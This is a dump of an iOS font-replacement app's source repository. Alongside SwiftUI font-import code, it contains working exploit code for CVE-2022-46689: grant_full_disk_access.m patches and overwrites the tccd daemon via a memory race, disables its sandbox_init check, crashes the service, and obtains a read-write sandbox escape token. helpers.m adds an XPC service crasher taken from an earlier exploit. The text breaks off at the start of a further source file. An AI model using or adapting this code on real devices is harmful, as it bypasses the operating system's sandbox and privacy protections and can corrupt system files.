https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/RepackedFonts/DejaVuSerif.woff2 -------------------------------------------------------------------------------- /WDBFontOverwrite/RepackedFonts/FiraSans-Regular.2048.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/RepackedFonts/FiraSans-Regular.2048.woff2 -------------------------------------------------------------------------------- /WDBFontOverwrite/RepackedFonts/Go-Mono.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/RepackedFonts/Go-Mono.woff2 -------------------------------------------------------------------------------- /WDBFontOverwrite/RepackedFonts/Go-Regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/RepackedFonts/Go-Regular.woff2 -------------------------------------------------------------------------------- /WDBFontOverwrite/RepackedFonts/segoeui.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/RepackedFonts/segoeui.woff2 -------------------------------------------------------------------------------- /WDBFontOverwrite/WDBFontOverwrite-Bridging-Header.h: -------------------------------------------------------------------------------- 1 | #import "vm_unaligned_copy_switch_race.h" 2 | #import "_UIKeyboardCache.h" 3 | #import "helpers.h" 4 | #import "grant_full_disk_access.h" 5 | -------------------------------------------------------------------------------- /WDBFontOverwrite/WDBFontOverwriteApp.swift: -------------------------------------------------------------------------------- 1 | // 2 | // WDBFontOverwriteApp.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Zhuowei Zhang on 2022-12-25. 6 | // 7 | 8 | import SwiftUI 9 | 10 | @main 11 | struct WDBFontOverwriteApp: App { 12 | @StateObject private var progressManager = ProgressManager.shared 13 | 14 | var body: some Scene { 15 | WindowGroup { 16 | TabView { 17 | PresetFontsScene() 18 | .tabItem { 19 | Label("Presets", systemImage: "list.dash") 20 | } 21 | CustomFontsScene() 22 | .tabItem { 23 | Label("Custom", systemImage: "plus") 24 | } 25 | FontDiscoveryScene() 26 | .tabItem { 27 | Label("Discovery", systemImage: "star") 28 | } 29 | } 30 | .environmentObject(progressManager) 31 | .alert( 32 | isPresented: $progressManager.isPresentedResultsAlert, 33 | content: { 34 | Alert( 35 | title: Text("Import log"), 36 | message: Text(logMessage), 37 | dismissButton: .cancel(Text("Dismiss")) 38 | ) 39 | } 40 | ) 41 | } 42 | } 43 | 44 | private var logMessage: String { 45 | var message = "" 46 | for result in progressManager.importResults { 47 | switch result { 48 | case .success: 49 | message += "Successfully imported.\n" 50 | case .failure(let string): 51 | message += "\(string)\n" 52 | } 53 | } 54 | return message 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /WDBFontOverwrite/WDBImportCustomFontPickerViewControllerDelegate.swift: -------------------------------------------------------------------------------- 1 | // 2 | // WDBImportCustomFontPickerViewControllerDelegate.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little (@ginsudev) on 3/1/2023. 6 | // 7 | 8 | import SwiftUI 9 | import UniformTypeIdentifiers 10 | 11 | class WDBImportCustomFontPickerViewControllerDelegate: NSObject, UIDocumentPickerDelegate { 12 | let importType: CustomFontType 13 | let ttcRepackMode: TTCRepackMode 14 | 15 | init(importType: CustomFontType, ttcRepackMode: TTCRepackMode) { 16 | self.importType = importType 17 | self.ttcRepackMode = ttcRepackMode 18 | } 19 | 20 | func documentPicker(_ controller: UIDocumentPickerViewController, didPickDocumentsAt urls: [URL]) { 21 | Task { 22 | await importSelectedFonts(atURLs: urls) 23 | } 24 | } 25 | 26 | func documentPickerWasCancelled(_ controller: UIDocumentPickerViewController) { 27 | Task { @MainActor in 28 | ProgressManager.shared.message = "Cancelled" 29 | } 30 | } 31 | 32 | private func importSelectedFonts(atURLs urls: [URL]) async { 33 | let documentDirectory = FileManager.default.urls( 34 | for: .documentDirectory, 35 | in: .userDomainMask 36 | )[0] 37 | 38 | var successfullyImportedCount = 0 39 | 40 | // Import selected font files into the documents directory, one by one. 41 | for url in urls { 42 | if importType == .emoji { 43 | let emojiFont = FontMap.emojiCustomFont 44 | let targetURL = documentDirectory.appendingPathComponent(emojiFont.localPath) 45 | let success = await importFont(withFileURL: url, targetURL: targetURL) 46 | successfullyImportedCount += success 47 | } else { 48 | let key = FontMap.key(forFont: url.lastPathComponent) 49 | if let customFont = FontMap.fontMap[key] { 50 | let targetURL = documentDirectory.appendingPathComponent(customFont.localPath) 51 | let success = await importFont(withFileURL: url, targetURL: targetURL) 52 | successfullyImportedCount += success 53 | } 54 | } 55 | } 56 | 57 | ProgressManager.shared.message = String( 58 | format: "Successfully imported %d/%d files.%@", 59 | successfullyImportedCount, 60 | urls.count, 61 | successfullyImportedCount == urls.count ? "" : " Some files were skipped because your device doesn't have those fonts or because they don't support your iOS/device." 62 | ) 63 | } 64 | 65 | private func importFont(withFileURL fileURL: URL, targetURL: URL) async -> Int { 66 | let success = await importCustomFontImpl( 67 | fileURL: fileURL, 68 | targetURL: targetURL, 69 | ttcRepackMode: self.ttcRepackMode 70 | ) 71 | return success == nil ? 1 : 0 72 | } 73 | } 74 | 75 | // https://capps.tech/blog/read-files-with-documentpicker-in-swiftui 76 | struct DocumentPicker: UIViewControllerRepresentable { 77 | var importType: CustomFontType 78 | var ttcRepackMode: TTCRepackMode 79 | 80 | func makeCoordinator() -> WDBImportCustomFontPickerViewControllerDelegate { 81 | return WDBImportCustomFontPickerViewControllerDelegate( 82 | importType: importType, 83 | ttcRepackMode: ttcRepackMode 84 | ) 85 | } 86 | 87 | func makeUIViewController(context: UIViewControllerRepresentableContext) -> UIDocumentPickerViewController { 88 | let pickerViewController = UIDocumentPickerViewController( 89 | forOpeningContentTypes: [ 90 | UTType( 91 | filenameExtension: "ttf", 92 | conformingTo: .font 93 | )!, 94 | UTType( 95 | filenameExtension: "ttc", 96 | conformingTo: .font 97 | )!, 98 | UTType( 99 | filenameExtension: "woff2", 100 | conformingTo: .font 101 | )!, 102 | ], 103 | asCopy: true 104 | ) 105 | 106 | pickerViewController.allowsMultipleSelection = importType == .font 107 | pickerViewController.delegate = context.coordinator 108 | return pickerViewController 109 | } 110 | 111 | func updateUIViewController( 112 | _ uiViewController: UIDocumentPickerViewController, 113 | context: UIViewControllerRepresentableContext 114 | ) {} 115 | } 116 | -------------------------------------------------------------------------------- /WDBFontOverwrite/_UIKeyboardCache.h: -------------------------------------------------------------------------------- 1 | // 2 | // _UIKeyboardCache.h 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 6/1/2023. 6 | // 7 | 8 | #ifndef _UIKeyboardCache_h 9 | #define _UIKeyboardCache_h 10 | 11 | #import 12 | 13 | @interface UIKeyboardCache : NSObject 14 | + (instancetype)sharedInstance; 15 | - (void)purge; 16 | @end 17 | 18 | @interface _UIKeyboardCache : NSObject 19 | + (void)purge; 20 | @end 21 | 22 | #endif /* _UIKeyboardCache_h */ 23 | -------------------------------------------------------------------------------- /WDBFontOverwrite/_UIKeyboardCache.m: -------------------------------------------------------------------------------- 1 | // 2 | // _UIKeyboardCache.m 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 6/1/2023. 6 | // 7 | 8 | #import 9 | #import 10 | #import 11 | #import "_UIKeyboardCache.h" 12 | 13 | @implementation _UIKeyboardCache 14 | 15 | + (void)purge { 16 | void *handle = dlopen("/System/Library/PrivateFrameworks/UIKitCore.framework/UIKitCore", RTLD_NOW); 17 | if (handle) { 18 | NSObject *kbCache = [objc_getClass("UIKeyboardCache") performSelector:@selector(sharedInstance)]; 19 | [kbCache performSelector:@selector(purge)]; 20 | } 21 | } 22 | 23 | @end 24 | -------------------------------------------------------------------------------- /WDBFontOverwrite/grant_full_disk_access.h: -------------------------------------------------------------------------------- 1 | // 2 | // grant_full_disk_access.h 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 29/1/2023. 6 | // 7 | @import Foundation; 8 | #ifndef grant_full_disk_access_h 9 | #define grant_full_disk_access_h 10 | 11 | void grant_full_disk_access(void (^completion)(NSError* _Nullable)); 12 | 13 | #endif /* grant_full_disk_access_h */ 14 | -------------------------------------------------------------------------------- /WDBFontOverwrite/grant_full_disk_access.m: -------------------------------------------------------------------------------- 1 | @import Darwin; 2 | @import Foundation; 3 | @import MachO; 4 | 5 | #import 6 | // you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from 7 | // WDBFontOverwrite 8 | // Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything) 9 | // Please don't call this code on iOS 14 or below 10 | // (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot) 11 | #import "helpers.h" 12 | #import "vm_unaligned_copy_switch_race.h" 13 | 14 | typedef NSObject* xpc_object_t; 15 | typedef xpc_object_t xpc_connection_t; 16 | typedef void (^xpc_handler_t)(xpc_object_t object); 17 | xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys, 18 | xpc_object_t _Nullable const* values, size_t count); 19 | xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq, 20 | uint64_t flags); 21 | void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler); 22 | void xpc_connection_resume(xpc_connection_t connection); 23 | void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, 24 | dispatch_queue_t replyq, xpc_handler_t handler); 25 | xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, 26 | xpc_object_t message); 27 | xpc_object_t xpc_bool_create(bool value); 28 | xpc_object_t xpc_string_create(const char* string); 29 | xpc_object_t xpc_null_create(void); 30 | const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key); 31 | 32 | int64_t sandbox_extension_consume(const char* token); 33 | 34 | // MARK: - patchfind 35 | 36 | struct grant_full_disk_access_offsets { 37 | uint64_t offset_addr_s_com_apple_tcc_; 38 | uint64_t offset_padding_space_for_read_write_string; 39 | uint64_t offset_addr_s_kTCCServiceMediaLibrary; 40 | uint64_t offset_auth_got__sandbox_init; 41 | uint64_t offset_just_return_0; 42 | bool is_arm64e; 43 | }; 44 | 45 | static bool patchfind_sections(void* executable_map, 46 | struct segment_command_64** data_const_segment_out, 47 | struct symtab_command** symtab_out, 48 | struct dysymtab_command** dysymtab_out) { 49 | struct mach_header_64* executable_header = executable_map; 50 | struct load_command* load_command = executable_map + sizeof(struct mach_header_64); 51 | for (int load_command_index = 0; load_command_index < executable_header->ncmds; 52 | load_command_index++) { 53 | switch (load_command->cmd) { 54 | case LC_SEGMENT_64: { 55 | struct segment_command_64* segment = (struct segment_command_64*)load_command; 56 | if (strcmp(segment->segname, "__DATA_CONST") == 0) { 57 | *data_const_segment_out = segment; 58 | } 59 | break; 60 | } 61 | case LC_SYMTAB: { 62 | *symtab_out = (struct symtab_command*)load_command; 63 | break; 64 | } 65 | case LC_DYSYMTAB: { 66 | *dysymtab_out = (struct dysymtab_command*)load_command; 67 | break; 68 | } 69 | } 70 | load_command = ((void*)load_command) + load_command->cmdsize; 71 | } 72 | return true; 73 | } 74 | 75 | static uint64_t patchfind_get_padding(struct segment_command_64* segment) { 76 | struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64); 77 | struct section_64* last_section = §ion_array[segment->nsects - 1]; 78 | return last_section->offset + last_section->size; 79 | } 80 | 81 | static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length, 82 | const char* needle) { 83 | void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); 84 | if (!str_offset) { 85 | return 0; 86 | } 87 | uint64_t str_file_offset = str_offset - executable_map; 88 | for (int i = 0; i < executable_length; i += 8) { 89 | uint64_t val = *(uint64_t*)(executable_map + i); 90 | if ((val & 0xfffffffful) == str_file_offset) { 91 | return i; 92 | } 93 | } 94 | return 0; 95 | } 96 | 97 | static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) { 98 | // TCCDSyncAccessAction::sequencer 99 | // mov x0, #0 100 | // ret 101 | static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6}; 102 | void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); 103 | if (!offset) { 104 | return 0; 105 | } 106 | return offset - executable_map; 107 | } 108 | 109 | static uint64_t patchfind_got(void* executable_map, size_t executable_length, 110 | struct segment_command_64* data_const_segment, 111 | struct symtab_command* symtab_command, 112 | struct dysymtab_command* dysymtab_command, 113 | const char* target_symbol_name) { 114 | uint64_t target_symbol_index = 0; 115 | for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) { 116 | struct nlist_64* sym = 117 | ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index; 118 | const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx; 119 | if (strcmp(sym_name, target_symbol_name)) { 120 | continue; 121 | } 122 | // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map)); 123 | target_symbol_index = sym_index; 124 | break; 125 | } 126 | 127 | struct section_64* section_array = 128 | ((void*)data_const_segment) + sizeof(struct segment_command_64); 129 | struct section_64* first_section = §ion_array[0]; 130 | if (!(strcmp(first_section->sectname, "__auth_got") == 0 || 131 | strcmp(first_section->sectname, "__got") == 0)) { 132 | return 0; 133 | } 134 | uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff; 135 | 136 | for (int i = 0; i < first_section->size; i += 8) { 137 | uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i); 138 | uint64_t indirect_table_entry = (val & 0xfffful); 139 | if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) { 140 | return first_section->offset + i; 141 | } 142 | } 143 | return 0; 144 | } 145 | 146 | static bool patchfind(void* executable_map, size_t executable_length, 147 | struct grant_full_disk_access_offsets* offsets) { 148 | struct segment_command_64* data_const_segment = nil; 149 | struct symtab_command* symtab_command = nil; 150 | struct dysymtab_command* dysymtab_command = nil; 151 | if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, 152 | &dysymtab_command)) { 153 | printf("no sections\n"); 154 | return false; 155 | } 156 | if ((offsets->offset_addr_s_com_apple_tcc_ = 157 | patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) { 158 | printf("no com.apple.tcc. string\n"); 159 | return false; 160 | } 161 | if ((offsets->offset_padding_space_for_read_write_string = 162 | patchfind_get_padding(data_const_segment)) == 0) { 163 | printf("no padding\n"); 164 | return false; 165 | } 166 | if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string( 167 | executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) { 168 | printf("no kTCCServiceMediaLibrary string\n"); 169 | return false; 170 | } 171 | if ((offsets->offset_auth_got__sandbox_init = 172 | patchfind_got(executable_map, executable_length, data_const_segment, symtab_command, 173 | dysymtab_command, "_sandbox_init")) == 0) { 174 | printf("no sandbox_init\n"); 175 | return false; 176 | } 177 | if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) == 178 | 0) { 179 | printf("no just return 0\n"); 180 | return false; 181 | } 182 | struct mach_header_64* executable_header = executable_map; 183 | offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E; 184 | 185 | return true; 186 | } 187 | 188 | // MARK: - tccd patching 189 | 190 | static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) { 191 | // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can 192 | // re-use it until next reboot. 193 | // Returns the sandbox token if there is one, or nil if there isn't one. 194 | xpc_connection_t connection = xpc_connection_create_mach_service( 195 | "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0); 196 | xpc_connection_set_event_handler(connection, ^(xpc_object_t object) { 197 | NSLog(@"xpc event handler: %@", object); 198 | }); 199 | xpc_connection_resume(connection); 200 | const char* keys[] = { 201 | "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight", 202 | "target_token", "background_session", 203 | }; 204 | xpc_object_t values[] = { 205 | xpc_string_create("17087.1"), 206 | xpc_string_create("TCCAccessRequest"), 207 | xpc_string_create("com.apple.app-sandbox.read-write"), 208 | xpc_null_create(), 209 | xpc_bool_create(false), 210 | xpc_null_create(), 211 | xpc_bool_create(false), 212 | }; 213 | xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys)); 214 | #if 0 215 | xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message); 216 | NSLog(@"%@", response_message); 217 | 218 | #endif 219 | xpc_connection_send_message_with_reply( 220 | connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 221 | ^(xpc_object_t object) { 222 | if (!object) { 223 | NSLog(@"object is nil???"); 224 | completion(nil); 225 | return; 226 | } 227 | NSLog(@"response: %@", object); 228 | if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) { 229 | NSLog(@"xpc error?"); 230 | completion(nil); 231 | return; 232 | } 233 | NSLog(@"debug description: %@", [object debugDescription]); 234 | const char* extension_string = xpc_dictionary_get_string(object, "extension"); 235 | NSString* extension_nsstring = 236 | extension_string ? [NSString stringWithUTF8String:extension_string] : nil; 237 | completion(extension_nsstring); 238 | }); 239 | } 240 | 241 | static NSData* patchTCCD(void* executableMap, size_t executableLength) { 242 | struct grant_full_disk_access_offsets offsets = {}; 243 | if (!patchfind(executableMap, executableLength, &offsets)) { 244 | return nil; 245 | } 246 | 247 | NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; 248 | // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr); 249 | char* mutableBytes = data.mutableBytes; 250 | { 251 | // rewrite com.apple.tcc. into blank string 252 | *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0; 253 | } 254 | { 255 | // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write" 256 | // we need to stick this somewhere; just put it in the padding between 257 | // the end of __objc_arrayobj and the end of __DATA_CONST 258 | strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string), 259 | "com.apple.app-sandbox.read-write"); 260 | struct dyld_chained_ptr_arm64e_rebase targetRebase = 261 | *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + 262 | offsets.offset_addr_s_kTCCServiceMediaLibrary); 263 | targetRebase.target = offsets.offset_padding_space_for_read_write_string; 264 | *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + 265 | offsets.offset_addr_s_kTCCServiceMediaLibrary) = 266 | targetRebase; 267 | *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) = 268 | strlen("com.apple.app-sandbox.read-write"); 269 | } 270 | if (offsets.is_arm64e) { 271 | // make sandbox_init call return 0; 272 | struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = { 273 | .auth = 1, 274 | .bind = 0, 275 | .next = 1, 276 | .key = 0, // IA 277 | .addrDiv = 1, 278 | .diversity = 0, 279 | .target = offsets.offset_just_return_0, 280 | }; 281 | *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + 282 | offsets.offset_auth_got__sandbox_init) = 283 | targetRebase; 284 | } else { 285 | // make sandbox_init call return 0; 286 | struct dyld_chained_ptr_64_rebase targetRebase = { 287 | .bind = 0, 288 | .next = 2, 289 | .target = offsets.offset_just_return_0, 290 | }; 291 | *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) = 292 | targetRebase; 293 | } 294 | return data; 295 | } 296 | 297 | static bool overwrite_file(int fd, NSData* sourceData) { 298 | for (int off = 0; off < sourceData.length; off += 0x4000) { 299 | bool success = false; 300 | for (int i = 0; i < 2; i++) { 301 | if (unaligned_copy_switch_race( 302 | fd, off, sourceData.bytes + off, 303 | off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) { 304 | success = true; 305 | break; 306 | } 307 | } 308 | if (!success) { 309 | return false; 310 | } 311 | } 312 | return true; 313 | } 314 | 315 | static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token, 316 | NSError* _Nullable error)) { 317 | char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd"; 318 | int fd = open(targetPath, O_RDONLY | O_CLOEXEC); 319 | if (fd == -1) { 320 | // iOS 15.3 and below 321 | targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd"; 322 | fd = open(targetPath, O_RDONLY | O_CLOEXEC); 323 | } 324 | off_t targetLength = lseek(fd, 0, SEEK_END); 325 | lseek(fd, 0, SEEK_SET); 326 | void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); 327 | 328 | NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; 329 | NSData* sourceData = patchTCCD(targetMap, targetLength); 330 | if (!sourceData) { 331 | completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" 332 | code:5 333 | userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]); 334 | return; 335 | } 336 | 337 | if (!overwrite_file(fd, sourceData)) { 338 | overwrite_file(fd, originalData); 339 | munmap(targetMap, targetLength); 340 | completion( 341 | nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" 342 | code:1 343 | userInfo:@{ 344 | NSLocalizedDescriptionKey : @"Can't overwrite file: your device may " 345 | @"not be vulnerable to CVE-2022-46689." 346 | }]); 347 | return; 348 | } 349 | munmap(targetMap, targetLength); 350 | 351 | xpc_crasher("com.apple.tccd"); 352 | sleep(1); 353 | call_tccd(^(NSString* _Nullable extension_token) { 354 | overwrite_file(fd, originalData); 355 | xpc_crasher("com.apple.tccd"); 356 | NSError* returnError = nil; 357 | if (extension_token == nil) { 358 | returnError = 359 | [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" 360 | code:2 361 | userInfo:@{ 362 | NSLocalizedDescriptionKey : @"tccd did not return an extension token." 363 | }]; 364 | } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) { 365 | returnError = [NSError 366 | errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" 367 | code:3 368 | userInfo:@{ 369 | NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token " 370 | @"instead of an app sandbox token." 371 | }]; 372 | extension_token = nil; 373 | } 374 | completion(extension_token, returnError); 375 | }); 376 | } 377 | 378 | void grant_full_disk_access(void (^completion)(NSError* _Nullable)) { 379 | if (!NSClassFromString(@"NSPresentationIntent")) { 380 | // class introduced in iOS 15.0. 381 | // TODO(zhuowei): maybe check the actual OS version instead? 382 | completion([NSError 383 | errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" 384 | code:6 385 | userInfo:@{ 386 | NSLocalizedDescriptionKey : 387 | @"Not supported on iOS 14 and below: on iOS 14 the system partition is not " 388 | @"reverted after reboot, so running this may permanently corrupt tccd." 389 | }]); 390 | return; 391 | } 392 | NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory 393 | inDomains:NSUserDomainMask][0]; 394 | NSURL* sourceURL = 395 | [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"]; 396 | NSError* error = nil; 397 | NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL 398 | encoding:NSUTF8StringEncoding 399 | error:&error]; 400 | if (cachedToken) { 401 | int64_t handle = sandbox_extension_consume(cachedToken.UTF8String); 402 | if (handle > 0) { 403 | // cached version worked 404 | completion(nil); 405 | return; 406 | } 407 | } 408 | grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) { 409 | if (error) { 410 | completion(error); 411 | return; 412 | } 413 | int64_t handle = sandbox_extension_consume(extension_token.UTF8String); 414 | if (handle <= 0) { 415 | completion([NSError 416 | errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" 417 | code:4 418 | userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]); 419 | return; 420 | } 421 | [extension_token writeToURL:sourceURL 422 | atomically:true 423 | encoding:NSUTF8StringEncoding 424 | error:&error]; 425 | completion(nil); 426 | }); 427 | } 428 | -------------------------------------------------------------------------------- /WDBFontOverwrite/helpers.h: -------------------------------------------------------------------------------- 1 | #ifndef helpers_h 2 | #define helpers_h 3 | 4 | char* get_temp_file_path(void); 5 | void test_nsexpressions(void); 6 | char* set_up_tmp_file(void); 7 | 8 | void xpc_crasher(char* service_name); 9 | 10 | #define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL)) 11 | 12 | #endif /* helpers_h */ 13 | -------------------------------------------------------------------------------- /WDBFontOverwrite/helpers.m: -------------------------------------------------------------------------------- 1 | #import 2 | #include 3 | #include 4 | #include 5 | 6 | char* get_temp_file_path(void) { 7 | return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]); 8 | } 9 | 10 | // create a read-only test file we can target: 11 | char* set_up_tmp_file(void) { 12 | char* path = get_temp_file_path(); 13 | printf("path: %s\n", path); 14 | 15 | FILE* f = fopen(path, "w"); 16 | if (!f) { 17 | printf("opening the tmp file failed...\n"); 18 | return NULL; 19 | } 20 | char* buf = malloc(PAGE_SIZE*10); 21 | memset(buf, 'A', PAGE_SIZE*10); 22 | fwrite(buf, PAGE_SIZE*10, 1, f); 23 | //fclose(f); 24 | return path; 25 | } 26 | 27 | kern_return_t 28 | bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp); 29 | 30 | struct xpc_w00t { 31 | mach_msg_header_t hdr; 32 | mach_msg_body_t body; 33 | mach_msg_port_descriptor_t client_port; 34 | mach_msg_port_descriptor_t reply_port; 35 | }; 36 | 37 | mach_port_t get_send_once(mach_port_t recv) { 38 | mach_port_t so = MACH_PORT_NULL; 39 | mach_msg_type_name_t type = 0; 40 | kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type); 41 | if (err != KERN_SUCCESS) { 42 | printf("port right extraction failed: %s\n", mach_error_string(err)); 43 | return MACH_PORT_NULL; 44 | } 45 | printf("made so: 0x%x from recv: 0x%x\n", so, recv); 46 | return so; 47 | } 48 | 49 | // copy-pasted from an exploit I wrote in 2019... 50 | // still works... 51 | 52 | // (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html ) 53 | 54 | void xpc_crasher(char* service_name) { 55 | mach_port_t client_port = MACH_PORT_NULL; 56 | mach_port_t reply_port = MACH_PORT_NULL; 57 | 58 | mach_port_t service_port = MACH_PORT_NULL; 59 | 60 | kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port); 61 | if(err != KERN_SUCCESS){ 62 | printf("unable to look up %s\n", service_name); 63 | return; 64 | } 65 | 66 | if (service_port == MACH_PORT_NULL) { 67 | printf("bad service port\n"); 68 | return; 69 | } 70 | 71 | // allocate the client and reply port: 72 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port); 73 | if (err != KERN_SUCCESS) { 74 | printf("port allocation failed: %s\n", mach_error_string(err)); 75 | return; 76 | } 77 | 78 | mach_port_t so0 = get_send_once(client_port); 79 | mach_port_t so1 = get_send_once(client_port); 80 | 81 | // insert a send so we maintain the ability to send to this port 82 | err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND); 83 | if (err != KERN_SUCCESS) { 84 | printf("port right insertion failed: %s\n", mach_error_string(err)); 85 | return; 86 | } 87 | 88 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); 89 | if (err != KERN_SUCCESS) { 90 | printf("port allocation failed: %s\n", mach_error_string(err)); 91 | return; 92 | } 93 | 94 | struct xpc_w00t msg; 95 | memset(&msg.hdr, 0, sizeof(msg)); 96 | msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); 97 | msg.hdr.msgh_size = sizeof(msg); 98 | msg.hdr.msgh_remote_port = service_port; 99 | msg.hdr.msgh_id = 'w00t'; 100 | 101 | msg.body.msgh_descriptor_count = 2; 102 | 103 | msg.client_port.name = client_port; 104 | msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send 105 | msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR; 106 | 107 | msg.reply_port.name = reply_port; 108 | msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND; 109 | msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR; 110 | 111 | err = mach_msg(&msg.hdr, 112 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 113 | msg.hdr.msgh_size, 114 | 0, 115 | MACH_PORT_NULL, 116 | MACH_MSG_TIMEOUT_NONE, 117 | MACH_PORT_NULL); 118 | 119 | if (err != KERN_SUCCESS) { 120 | printf("w00t message send failed: %s\n", mach_error_string(err)); 121 | return; 122 | } else { 123 | printf("sent xpc w00t message\n"); 124 | } 125 | 126 | mach_port_deallocate(mach_task_self(), so0); 127 | mach_port_deallocate(mach_task_self(), so1); 128 | 129 | return; 130 | } 131 | -------------------------------------------------------------------------------- /WDBFontOverwrite/vm_unaligned_copy_switch_race.c: -------------------------------------------------------------------------------- 1 | // from 